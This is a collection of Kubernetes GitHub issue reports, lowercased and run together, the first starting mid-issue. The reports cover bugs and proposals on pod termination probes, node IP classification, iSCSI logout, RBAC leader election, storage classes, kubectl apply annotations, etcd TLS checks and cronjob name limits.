18:03:45 ip-10-0-38-132 kubelet 2347 : i0117 18:03:45.637061    2347 status_manager.go:425  status for pod \ herder-1050257015-i1jl9_default 268b0b57-dcad-11e6-bb0c-0ebb253f918e \  updated successfully: {status:{phase:running conditions: {type:initialized status:true lastprobetime:{time:{sec:0 nsec:0 loc:0x523b220}} lasttransitiontime:{time:{sec:63620251649 nsec:0 loc:0x523b220}} reason: message:} {type:ready status:false lastprobetime:{time:{sec:0 nsec:0 loc:0x523b220}} lasttransitiontime:{time:{sec:63620273025 nsec:0 loc:0x523b220}} reason:containersnotready message:containers with unready status:  dockherder } {type:podscheduled status:true lastprobetime:{time:{sec:0 nsec:0 loc:0x523b220}} lasttransitiontime:{time:{sec:63620251645 nsec:0 loc:0x523b220}} reason: message:}  message: reason: hostip:10.0.38.132 podip:10.0.38.132 starttime:0xc8205be5a0 initcontainerstatuses: {name:runner-image-fetch state:{waiting:<nil> running:<nil> terminated:0xc8201f2d90} lastterminationstate:{waiting:<nil> running:<nil> terminated:<nil>} ready:true restartcount:0 image:yyy/image-puller:2c619cbe8623ce31e841d5f583f471c0583ee28f imageid:docker://sha256:57723362a3b1df463a42f6df5cb88d28b285543d411f9a4fec775fbdd8cbe8a1 containerid:docker://a100a9908270c4205f6b601edd29646dbe9a435f41188c063f4deb31f6b71e24} {name:dockherder-config-fetch state:{waiting:<nil> running:<nil> terminated:0xc8201f2e00} lastterminationstate:{waiting:<nil> running:<nil> terminated:<nil>} ready:true restartcount:0 image:yyy/config-downloader:7d1dd4ebcfb21413f5aa063ea744777dcdabd9ff imageid:docker://sha256:d42d1a3032e64ec17c8caf4e886f46fddaf3d3dab5f28a8a6074ce29e119e2c7 containerid:docker://44f5e00914d3906363764c68d47ef175dde476d68acfc95ed97ab406595b9360}  containerstatuses: {name:dockherder state:{waiting:<nil> running:0xc820bbca20 terminated:<nil>} lastterminationstate:{waiting:<nil> running:<nil> terminated:<nil>} ready:false restartcount:0 image:yyy/dockherder:yyy-dockherder-88061e60 imageid:docker://sha256:0f6f904d59e727f17db0f7eef0b11eedb87ed2d0758648d2b4f13e\r ....\r jan 17 18:13:35 ip-10-0-38-132 kubelet 2347 : i0117 18:13:35.611338    2347 prober.go:108  readiness probe for \ herder-1050257015-i1jl9_default 268b0b57-dcad-11e6-bb0c-0ebb253f918e :dockherder\  failed  failure : get http://10.0.38.132:4160/ping: dial tcp 10.0.38.132:4160: getsockopt: connection refused\r jan 17 18:13:35 ip-10-0-38-132 kubelet 2347 : i0117 18:13:35.611483    2347 server.go:608  event api.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ herder-1050257015-i1jl9\ , uid:\ 268b0b57-dcad-11e6-bb0c-0ebb253f918e\ , apiversion:\ v1\ , resourceversion:\ 5532615\ , fieldpath:\ spec.containers{dockherder}\ } : type: 'warning' reason: 'unhealthy' readiness probe failed: get http://10.0.38.132:4160/ping: dial tcp 10.0.38.132:4160: getsockopt: connection refused\r    \r \r current pod state from the kubelet:\r    \r         \ conditions\ :  \r           {\r             \ lasttransitiontime\ : \ 2017-01-17t12:07:29z\ ,\r             \ lastprobetime\ : null,\r             \ status\ : \ true\ ,\r             \ type\ : \ initialized\ \r           },\r           {\r             \ message\ : \ containers with unready status:  dockherder \ ,\r             \ reason\ : \ containersnotready\ ,\r             \ lasttransitiontime\ : \ 2017-01-17t18:03:45z\ ,\r             \ lastprobetime\ : null,\r             \ status\ : \ false\ ,\r             \ type\ : \ ready\ \r           },\r           {\r             \ lasttransitiontime\ : \ 2017-01-17t12:07:25z\ ,\r             \ lastprobetime\ : null,\r             \ status\ : \ true\ ,\r             \ type\ : \ podscheduled\ \r           }\r    \r   what you expected to happen  :\r  - after the container exits the readiness probes will stop and the pod will continue to be terminated\r \r   how to reproduce it    as minimally and precisely as possible :\r  - pod has prestop hook and a readiness probe with failurethreshold: 3, periodseconds: 10\r  - delete pod  likely the timing is relevant since it does not happen 100% of the time, seems related to if a probe fails during prestop execution \r \r   anything else do we need to know  :\r possibly related: https://github.com/kubernetes/kubernetes/issues/25149\r i believe if the graceperiod of termination is less than the readiness probe failure period there are never errors.\r in my situation the error happens sometimes, but not always.  likely related to timing of first readiness probe failure and the container exiting

see https://bugzilla.redhat.com/show_bug.cgi?id=1433236:\r \r    \r status:\r   addresses:\r   - address: 10.128.0.1\r     type: externalip\r   - address: fe80::6083:bfff:febf:db75\r     type: externalip\r   - address: 10.66.146.29\r     type: internalip\r   - address: 2620:52:0:4292:250:56ff:fe9f:b058\r     type: internalip\r   - address: fe80::250:56ff:fe9f:b058\r     type: internalip\r   - address: 172.17.0.1\r     type: externalip\r   - address: fe80::42:2eff:fe71:6bcd\r     type: externalip\r   - address: master.c.vsphere.local\r     type: hostname\r    \r \r in this example, 172.17.0.1 is 'docker0', 10.128.0.1 is 'tun0'  a non-routable interface created by openshift , and 10.66.146.29 is 'ens192' which is the actual routable interface for this vm.\r \r i don't think the vsphere cloud provider is using the same criteria for externalip and internalip that other cloud providers are, and that makes it hard for network plugins to work with different cloud providers.  admittedly, nodeinternalip and nodeexternalip are not really specified in any way in pkg/api/ , there's only convention to go on.  and conventions are:\r \r - aws and gce define externalips as the public internet ip address  if any  that the node can be reached at.  they define internalips as non-public ip addresses that the node can be reached by any other node on the same network.\r - azure only returns internalips using the \ privateipaddress\  of the \ primary\  interface.\r - openstack returns 'floating' or 'public' ips  typically used for outside-the-cluster access  as externalip, all others are internalip.\r \r by these definitions i would expect vsphere to use 'public-network' to select a specific nic to present as internalip, and all other ip addresses would be ignored.  publicnetwork is defined as \ publicnetwork is name of the network the vms are joined to.\  which is almost exactly what gce, aws, and openstack define internalip as.\r \r vsphere would not define any externalip unless it could prove that ip address was publicly exposed outside of the cluster.  perhaps add another cloud-init parameter for \ externalnetwork\  or something?\r \r @kubernetes/rh-networking @kubernetes/sig-network-bugs @eparis @knobunc

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : iscsi\r \r ---\r \r   is this a bug report or feature request?    choose one : bug\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : v1.6.0\r \r \r   environment  :\r -   cloud provider or hardware configuration  : bare metal\r -   os    e.g. from /etc/os-release : centos 7.3\r -   kernel    e.g.  uname -a  :  linux srv02 3.10.0-514.2.2.el7.x86_64  1 smp tue dec 6 23:06:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : kubeadm\r -   others  :\r \r \r   what happened  :\r when using iscsi storage with multiple target portal  tp  addresses + multipathing the volume manager\r logs on to the iqn for all portal addresses, but when a pod gets destroyed the volume manager only logs out for the primary tp. this leaves a session dangling and the pod using the volume can't start as the san doesn't allow multiple hosts to connect to the same iqn\r \r   what you expected to happen  :\r the detachdisk method in iscsi_utils.go should do the same as the attachdisk which is to\r iterate over all portals and log out from all of them.\r alternatively omit the -p command line to iscsiadm to log out all references to the iqn \r \r   how to reproduce it    as minimally and precisely as possible :\r 1. create a pod with iscsi storage and list two portals in the portals property\r 2. let the pod start \r 3. delete the pod and make sure it comes up on a new node\r 4. you should now see a session still active on the old node against the second tp\r \r   anything else we need to know  :\r \r

there are files in  cluster/addons/cluster-monitoring  https://github.com/kubernetes/kubernetes/tree/master/cluster/addons/cluster-monitoring  that contain non-yaml markup but have the '.yaml' file extension, like  this one  https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/cluster-monitoring/google/heapster-controller.yaml . by the looks of it theese are sls files that use jinja. i would suggest replacing the extension of those files with an extension that reflects their contents better.

kubernetes version    use  kubectl version  : 1.6.2\r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release :  debian gnu/linux 8  jessie \r -   kernel    e.g.  uname -a  : 3.16.0-4-amd64\r -   install tools  : custom\r \r   what happened  :\r after migrating from abac to rbac the kube-controller-manager failed to elect a leader:\r using the  system:kube-controller-manager  user and  --leader-elect=true  as well as  --use-service-account-credentials \r \r    kube-controller-manager 32600 : e0612 16:32:46.542305   32600 leaderelection.go:229  error retrieving resource lock kube-system/kube-controller-manager: user \ system:kube-controller-manager\  cannot get endpoints in the namespace \ kube-system\ .: \ no policy matched.\   get endpoints kube-controller-manager

@kubernetes/sig-controller-manager-bugs\r /area  controller-manager \r /kind  bug \r is this a bug report or feature request?:\r \r  /area controller-manager\r \r i install kubernetes 1.7 on ubuntu 17.04. the master includes three nodes and owns high availability by etcd election. only a node  10.71.156.238  with kube-control-manager looks good. the other two nodes 10.71.156.176,10.71.156.170  with kube-control-manager is always hangin with \ attempting to acquire leader lease...\  and the logs are as follows:\r jul 06 15:04:34 kube-master kube-controller-manager 18261 : i0706 15:04:34.943413 18261 flags.go:52  flag: --service-sync-period=\ 5m0s\ \r jul 06 15:04:34 kube-master kube-controller-manager 18261 : i0706 15:04:34.943422 18261 flags.go:52  flag: --stderrthreshold=\ 2\ \r jul 06 15:04:34 kube-master kube-controller-manager 18261 : i0706 15:04:34.943431 18261 flags.go:52  flag: --terminated-pod-gc-threshold=\ 12500\ \r jul 06 15:04:34 kube-master kube-controller-manager 18261 : i0706 15:04:34.943440 18261 flags.go:52  flag: --unhealthy-zone-threshold=\ 0.55\ \r jul 06 15:04:34 kube-master kube-controller-manager 18261 : i0706 15:04:34.943449 18261 flags.go:52  flag: --use-service-account-credentials=\ true\ \r jul 06 15:04:34 kube-master kube-controller-manager 18261 : i0706 15:04:34.943456 18261 flags.go:52  flag: --v=\ 0\ \r jul 06 15:04:34 kube-master kube-controller-manager 18261 : i0706 15:04:34.943464 18261 flags.go:52  flag: --version=\ false\ \r jul 06 15:04:34 kube-master kube-controller-manager 18261 : i0706 15:04:34.943480 18261 flags.go:52  flag: --vmodule=\ \ \r jul 06 15:04:34 kube-master kube-controller-manager 18261 : i0706 15:04:34.943515 18261 controllermanager.go:107  version: 1.7.0\r jul 06 15:04:34 kube-master kube-controller-manager 18261 : i0706 15:04:34.955717 18261 leaderelection.go:179  attempting to acquire leader lease...\r \r the node  10.71.156.238  with kube-control-manager of logs are as follows:\r jul 07 16:09:36 kube-master-3 kube-controller-manager 14686 : w0707 16:09:36.250472 14686 reflector.go:323  k8s.io/kubernetes/pkg/client/informers/informers_generated/externalversions/factory.go:72: watch of  v1beta1.role ended with: very short watch\r jul 07 16:09:37 kube-master-3 kube-controller-manager 14686 : w0707 16:09:37.263226 14686 reflector.go:323  k8s.io/kubernetes/pkg/client/informers/informers_generated/externalversions/factory.go:72: watch of  v1beta1.role ended with: too old resource version: 968615  968654 \r jul 07 16:09:47 kube-master-3 kube-controller-manager 14686 : w0707 16:09:47.095653 14686 reflector.go:323  k8s.io/kubernetes/pkg/client/informers/informers_generated/externalversions/factory.go:72: watch of  v1.serviceaccount ended with: very short watch\r jul 07 16:09:48 kube-master-3 kube-controller-manager 14686 : w0707 16:09:48.063006 14686 reflector.go:323  k8s.io/kubernetes/pkg/client/informers/informers_generated/externalversions/factory.go:72: watch of  v1.podtemplate ended with: very short watch\r jul 07 16:09:49 kube-master-3 kube-controller-manager 14686 : w0707 16:09:49.077683 14686 reflector.go:323  k8s.io/kubernetes/pkg/client/informers/informers_generated/externalversions/factory.go:72: watch of  v1.podtemplate ended with: too old resource version: 968615  968654 \r jul 07 16:09:50 kube-master-3 kube-controller-manager 14686 : w0707 16:09:50.258290 14686 reflector.go:323  k8s.io/kubernetes/pkg/controller/bootstrap/bootstrapsigner.go:152: watch of  v1.secret ended with: very short watch\r jul 07 16:09:53 kube-master-3 kube-controller-manager 14686 : w0707 16:09:53.925920 14686 reflector.go:323  k8s.io/kubernetes/pkg/client/informers/informers_generated/externalversions/factory.go:72: watch of  v1beta1.statefulset ended with: very short watch\r jul 07 16:09:55 kube-master-3 kube-controller-manager 14686 : w0707 16:09:55.058561 14686 reflector.go:323  k8s.io/kubernetes/pkg/controller/bootstrap/bootstrapsigner.go:151: watch of  v1.configmap ended with: very short watch\r jul 07 16:09:55 kube-master-3 kube-controller-manager 14686 : w0707 16:09:55.892659 14686 reflector.go:323  k8s.io/kubernetes/pkg/client/informers/informers_generated/externalversions/factory.go:72: watch of  v1.job ended with: very short watch\r jul 07 16:09:57 kube-master-3 kube-controller-manager 14686 : w0707 16:09:57.555309 14686 reflector.go:323  k8s.io/kubernetes/pkg/client/informers/informers_generated/externalversions/factory.go:72: watch of  v1.replicationcontroller ended with: very short watch.\r \r the etcd version is 3.2.0 and etcd logs are as follows:\r jul 07 15:55:05 kube-master etcd 8661 : store.index: compact 2036684\r jul 07 15:55:05 kube-master etcd 8661 : finished scheduled compaction at 2036684  took 2.643997ms \r jul 07 16:00:05 kube-master etcd 8661 : store.index: compact 2037200\r jul 07 16:00:05 kube-master etcd 8661 : finished scheduled compaction at 2037200  took 3.670872ms \r jul 07 16:00:05 kube-master etcd 8661 : apply entries took too long  105.064338ms for 1 entries \r jul 07 16:00:05 kube-master etcd 8661 : avoid queries with large range/delete range!\r jul 07 16:05:05 kube-master etcd 8661 : store.index: compact 2037722\r jul 07 16:05:05 kube-master etcd 8661 : finished scheduled compaction at 2037722  took 2.982671ms \r jul 07 16:10:05 kube-master etcd 8661 : store.index: compact 2038246\r jul 07 16:10:05 kube-master etcd 8661 : finished scheduled compaction at 2038246  took 1.99918ms \r \r the makes creation of k8s object too slow such as deployment,pod and so on. at the same time kubectl command responses very slowly. so how can i solve the problem? thanks!

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r i'm using flexvolume for s3 volume   s3fs-fuse https://github.com/s3fs-fuse/s3fs-fuse   https://github.com/s3fs-fuse/s3fs-fuse \r but when s3fs-fuse crash,  and then unmount the volume,  the path exists check will return an error. https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/flexvolume/unmounter.go l47\r    \r ls: cannot access /var/lib/kubelet/pods/e523f96c-83f0-11e7-9d8b-fa163e03ab61/volumes/xxxx~xxx/test: transport endpoint is not connected\r    \r when we delete the pod, we can not unmount the volume.\r \r   what you expected to happen  :\r remove the check, let user do something in flexvolume driver, like umount the dir.\r \r \r  /assign\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r kubelet.exe crashes on windows server core. \r \r   what you expected to happen  :\r kubelet running and joining to the cluster.\r \r   how to reproduce it  as minimally and precisely as possible   :\r build kubelet.exe from master and run it on a machine with core  ui-less .\r \r   anything else we need to know?  :\r there was a dependency introduced in pr  50396 on  this package  https://github.com/lxn/win/ . this loads  opengl32.dll , which isn't present on the ui-less windows core variant, thus causing a panic:\r \r     panic: the specified module could not be found.\r \r     goroutine 1  running :\r     k8s.io/kubernetes/vendor/github.com/lxn/win.mustloadlibrary 0x34a64bd, 0xc, 0xc \r             .../local/go/src/k8s.io/kubernetes/vendor/github.com/lxn/win/win.go:48 +0x73\r     k8s.io/kubernetes/vendor/github.com/lxn/win.init.8  \r             .../local/go/src/k8s.io/kubernetes/vendor/github.com/lxn/win/opengl32.go:117 +0x41\r     k8s.io/kubernetes/vendor/github.com/lxn/win.init  \r             <autogenerated>:1 +0x81\r     k8s.io/kubernetes/pkg/kubelet/winstats.init  \r             <autogenerated>:1 +0x77\r     ...\r \r though the package is necessary, opengl is not. lxn/win 23 is open on the package to be core-friendly, but it doesn't seem to be going anywhere.\r \r   environment  :\r - kubernetes version  use  kubectl version  : built from  51063 directly.\r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : windows server standard core 1709\r - kernel  e.g.  uname -a  : 16299.15.amd64fre.rs3_release.170928-1534\r

once we monitor the  /kubepods  cgroup for metrics  55638, collect them on demand   56112 , and make memory cgroup notifications effective   51745 ,\r we should add an additional notification threshold for making allocatable evictions more responsive.\r \r  / 

kubernetes 1.8.2\r \r     storageclass :\r \r    bash\r $ cat <<eof | kubectl apply -f -\r apiversion: storage.k8s.io/v1\r kind: storageclass\r metadata:\r   name: rbd\r provisioner: kubernetes.io/rbd\r parameters:\r   monitors: 192.168.10.200:6789,192.168.10.201:6789,192.168.10.202:6789\r   pool: kube\r   adminid: admin\r   adminsecretname: ceph-secret-admin\r   adminsecretnamespace: ceph\r   userid: kube\r   usersecretname: ceph-secret-kube\r   fstype: \ xfs\ \r   imageformat: \ 2\ \r   imagefeatures: \ layering\ \r reclaimpolicy: delete\r eof\r    \r \r    before setting the default  storageclass :\r \r    bash\r $ kubectl patch storageclass rbd -p '{\ metadata\ : {\ annotations\ :{\ storageclass.kubernetes.io/is-default-class\ :\ false\ }}}'\r    \r \r    bash\r $ cat <<eof | kubectl apply -f -\r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: static-pv1\r spec:\r   capacity:\r     storage: 5gi\r   accessmodes:\r   - readwriteonce\r   rbd:\r     monitors:\r     - '192.168.10.200:6789'\r     - '192.168.10.201:6789'\r     - '192.168.10.202:6789'\r     pool: kube\r     image: k8s-static-pv1\r     user: kube\r     secretref:\r       name: ceph-secret-kube\r     fstype: xfs\r     readonly: false\r   persistentvolumereclaimpolicy: retain\r eof\r    \r \r    bash\r $ cat <<eof | kubectl apply -f -\r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: static-pvc1\r spec:\r   accessmodes:\r   - readwriteonce\r   resources:\r     requests:\r       storage: 5gi\r   volumename: static-pv1\r eof\r    \r \r    bash\r $ kubectl get pv,pvc\r name            capacity   access modes   reclaim policy   status    claim                 storageclass   reason    age\r pv/static-pv1   5gi        rwo            retain           bound     default/static-pvc1                            10s\r \r name              status    volume       capacity   access modes   storageclass   age\r pvc/static-pvc1   bound     static-pv1   5gi        rwo                           5\r \r $ kubectl delete pvc/static-pvc1 pv/static-pv1\r    \r \r    after setting the default  storageclass :\r \r    bash\r $ kubectl patch storageclass rbd -p '{\ metadata\ : {\ annotations\ :{\ storageclass.kubernetes.io/is-default-class\ :\ true\ }}}'\r    \r \r    bash\r $ cat <<eof | kubectl apply -f -\r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: static-pv1\r spec:\r   capacity:\r     storage: 5gi\r   accessmodes:\r   - readwriteonce\r   rbd:\r     monitors:\r     - '192.168.10.200:6789'\r     - '192.168.10.201:6789'\r     - '192.168.10.202:6789'\r     pool: kube\r     image: k8s-static-pv1\r     user: kube\r     secretref:\r       name: ceph-secret-kube\r     fstype: xfs\r     readonly: false\r   persistentvolumereclaimpolicy: retain\r eof\r    \r \r    bash\r $ cat <<eof | kubectl apply -f -\r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: static-pvc1\r spec:\r   accessmodes:\r   - readwriteonce\r   resources:\r     requests:\r       storage: 5gi\r   volumename: static-pv1\r eof\r    \r \r    bash\r $ kubectl get pv,pvc\r name            capacity   access modes   reclaim policy   status      claim     storageclass   reason    age\r pv/static-pv1   5gi        rwo            retain           available                                      12s\r \r name              status    volume       capacity   access modes   storageclass   age\r pvc/static-pvc1   pending   static-pv1   0                         rbd            6s\r    \r \r    bash\r $  kubectl describe pv/static-pv1\r warning  volumemismatch  11s  x2 over 20s   persistentvolume-controller  volume's size is smaller than requested or volume's class does not match with claim\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r seeing some bad behavior with  kubectl apply -f configmap.yml  where  configmap.yml  contains annotations whose values are  integers . steps to repro:\r \r   configmap.yml contents:\r    \r kind: configmap\r apiversion: v1\r metadata:\r   name: test-configmap\r   annotations:\r     a: value\r data:\r   a: b\r    \r now run\r    \r $ kubectl apply -f configmap.yml\r configmap \ test-configmap\  configured\r $ kubectl get cm test-configmap  -o yaml\r apiversion: v1\r data:\r   a: b\r kind: configmap\r metadata:\r   annotations:\r     a: value\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ v1\ ,\ data\ :{\ a\ :\ b\ },\ kind\ :\ configmap\ ,\ metadata\ :{\ annotations\ :{\ a\ :\ value\ },\ name\ :\ test-configmap\ ,\ namespace\ :\ default\ }}\r   creationtimestamp: 2018-03-22t00:14:49z\r   name: test-configmap\r   namespace: default\r   resourceversion: \ 40474\ \r   selflink: /api/v1/namespaces/default/configmaps/test-configmap\r   uid: 08c35245-2d66-11e8-95c1-0a1f5381ada0\r   ^ expected\r    \r change configmap.yml to \r    \r kind: configmap\r apiversion: v1\r metadata:\r   name: test-configmap\r   annotations:\r     a: value\r     b: 1\r data:\r   a: b\r    \r then run\r    \r $ kubectl apply -f configmap.yml\r configmap \ test-configmap\  configured\r $ kubectl get cm test-configmap  -o yaml\r apiversion: v1\r data:\r   a: b\r kind: configmap\r metadata:\r   annotations:\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ v1\ ,\ data\ :{\ a\ :\ b\ },\ kind\ :\ configmap\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ test-configmap\ ,\ namespace\ :\ default\ }}\r   creationtimestamp: 2018-03-22t00:14:49z\r   name: test-configmap\r   namespace: default\r   resourceversion: \ 40611\ \r   selflink: /api/v1/namespaces/default/configmaps/test-configmap\r   uid: 08c35245-2d66-11e8-95c1-0a1f5381ada0\r   ^ unexpected\r    \r \r kubectl does not error. not only is the \ b\  annotation not set, but also \ a\  is removed\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r  rmcnamara@ip-10-0-106-117 ~ $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t12:22:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.4\ , gitcommit:\ bee2d1505c4fe820744d26d41ecd3fdd4a3d6546\ , gittreestate:\ clean\ , builddate:\ 2018-03-12t16:21:35z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r aws\r - os  e.g. from /etc/os-release :\r centos\r

is this a bug report or feature request?  :\r  \r   what happened  :\r when configuring kubernetes apiserver to communicate with an ssl-enabled etcd cluster, the etcd health check does not provide tls headers, so the connection succeeds, but the tls handshake succeeds.  nothing looks wrong from kubernetes's perspective, and nothing is logged.  however, the etcd cluster logs the handshake failure.\r \r   what you expected to happen  :\r i would expect, in the case that kubernetes apiserver is configured to communicate with etcd using tls, for the health check to do the same, without error.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run apiserver 1.9.6, configured to communicate with etcd 3.3+ over ssl.\r \r  this code  https://github.com/kubernetes/apiserver/blob/kubernetes-1.10.2/pkg/storage/etcd3/preflight/checks.go l44  looks like the problem.\r \r   anything else we need to know?  :\r we could disable this logging in etcd, but we would prefer not to.\r \r   environment  :\r - kubernetes version: 1.9.6\r - etcd version: 3.3+\r - enviroment: bare metal\r - os: coreos\r - kernel: 4.16.3\r

please mind that this is more of a question/proposal.\r \r in the e2e testing framework we import an aggregated clientset from here:\r https://github.com/kubernetes/kubernetes/blob/master/test/e2e/framework/framework.go l49\r \r the only consumer of this client is this conformance test:\r https://github.com/kubernetes/kubernetes/blob/master/test/e2e/apimachinery/aggregator.go l80\r \r > should be able to support the 1.10 sample api server using the current aggregator\r \r the k8s testing commons group discussed if this client should be removed from the framework, possibly moved inside this test only.\r \r pr in flight  needs changes :\r https://github.com/kubernetes/kubernetes/pull/75989/files\r \r questions:\r - is this test up to date and maintained?\r - any objections to creating the client in the test instead of the framework?\r \r   /area e2e-test-framework\r

feature request  :    kubernetes version    use  kubectl version  : 1.3+  update client login to make use of user-configure certificate/key if provided.

either deprecate the nsenter exec handler, or add nsenter handling to the dockershim  after https://github.com/kubernetes/kubernetes/pull/35661 goes in .  /cc @kubernetes/sig-node

currently  --record  flag seems like a really bad decision made some time ago, and supporting it makes live harder when trying to modify any parts of code  see  this discussion  https://github.com/kubernetes/kubernetes/pull/40260 discussion_r97681489  . i'm proposing to deprecate that flag and drop it entirely in future version.\r \r @liggitt fyi\r @kubernetes/sig-cli-feature-requests opinions?

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r the  pod.status.message  for evicted pods has a typo  extra \ pod\  before the sentence .\r \r    yaml\r status:\r   message: 'pod the node was low on resource:  memorypressure .'\r   phase: failed\r   reason: evicted\r   starttime: '2017-07-07t19:36:11z'\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r enable  evication-hard  in the node config  kubeletarguments  with a large memory available value to force a pod to be evicted. check the pod yaml for the status message.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.1\r \r @jwforres @derekwaynecarr

summary api node e2e test has started failing after the most recent cadvisor update: https://k8s-testgrid.appspot.com/sig-node-kubelet kubelet&include-filter-by-regex=summary\r the pr which updated cadvisor godeps: https://github.com/kubernetes/kubernetes/pull/55188\r \r this issue is most likely not related to gpu metrics, but another change that was included in the cadvisor update.\r \r cc @kubernetes/sig-node-test-failures

this is an umbrella to aggregate machine learning related pain points.\r \r example sub-topics include:\r \r   project templating\r   development workflows\r   dataset management\r   tracking experiments and result metadata

 \r   what happened  :\r \r cronjobs were created with no errors. however, they failed to execute, with no clue in the logs. experimentation discovered that this occurs if their name is too long -- specifically, there's a 52-character limit, since kubernetes takes the cron name and appends  -  plus 10 auto-generated characters = 63 total =  const dns1123labelmaxlength int = 63    source code  https://github.com/kubernetes/kubernetes/blob/8d7d7a5e0d4d7e75f5a860574346944b8cc0fc43/staging/src/k8s.io/apimachinery/pkg/util/validation/validation.go l109  .\r \r   what you expected to happen  :\r \r one or more of:\r a  error upon  kubectl create  with a cronjob that has a name that is too long.\r b  error log upon processing said cronjob and determining that the resulting pod name length is too long.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a cronjob with name  cron-billing-report-for-end-of-month-abcdefghijklmnop   53 chars  that runs every minute -- see that there's no error upon creation, yet it never executes, and the name never appears in the logs.\r \r    \r apiversion: batch/v2alpha1\r kind: cronjob\r metadata:\r   labels:\r     name: cron-billing-report-for-end-of-month-abcdefghijklmnop\r   name: cron-billing-report-for-end-of-month-abcdefghijklmnop\r   namespace: web\r    \r    \r 23:03 integ highland@tuk5m1control2:~$ kubectl.sh --namespace=web get cronjobs | awk 'nr==1 || /klmn/'\r command: kubectl --kubeconfig=/highland/config/kube_auth/config --namespace=web get cronjobs\r name                                                     schedule      suspend   active    last-schedule\r cron-billing-report-for-end-of-month-abcdefghijklmn                    false     0         wed, 25 apr 2018 23:03:00 +0000\r cron-billing-report-for-end-of-month-abcdefghijklmno                   false     0         wed, 25 apr 2018 23:03:00 +0000\r cron-billing-report-for-end-of-month-abcdefghijklmnop                  false     0         <none>\r cron-billing-report-for-end-of-month-abcdefghijklmnopq                 false     0         <none>\r    \r \r then create a cronjob with name  cron-billing-report-for-end-of-month-abcdefghijklmno   52 chars  that runs every minute -- this will perform properly.\r \r   anything else we need to know?  :\r \r as an aside, there's an argument to be made that the max length should be longer than 63 characters -- per https://tools.ietf.org/html/rfc1123 section-2:\r    \r     2.1  host names and numbers\r \r       ...\r \r       host software must handle host names of up to 63 characters and\r       should handle host names of up to 255 characters.\r    \r ...although, the fundamental bug would still remain, just at a much-harder-to-hit length.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.8\ , gitcommit:\ d74e09bb4e4e7026f45becbed8310665ddcb8514\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t18:12:08z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.8\ , gitcommit:\ d74e09bb4e4e7026f45becbed8310665ddcb8514\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t18:01:01z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: bare metal\r - os  e.g. from /etc/os-release :  16.04.1 lts  xenial xerus  \r - kernel  e.g.  uname -a  :  4.4.0-116-generic  140-ubuntu \r - install tools: n/a\r - others: n/a

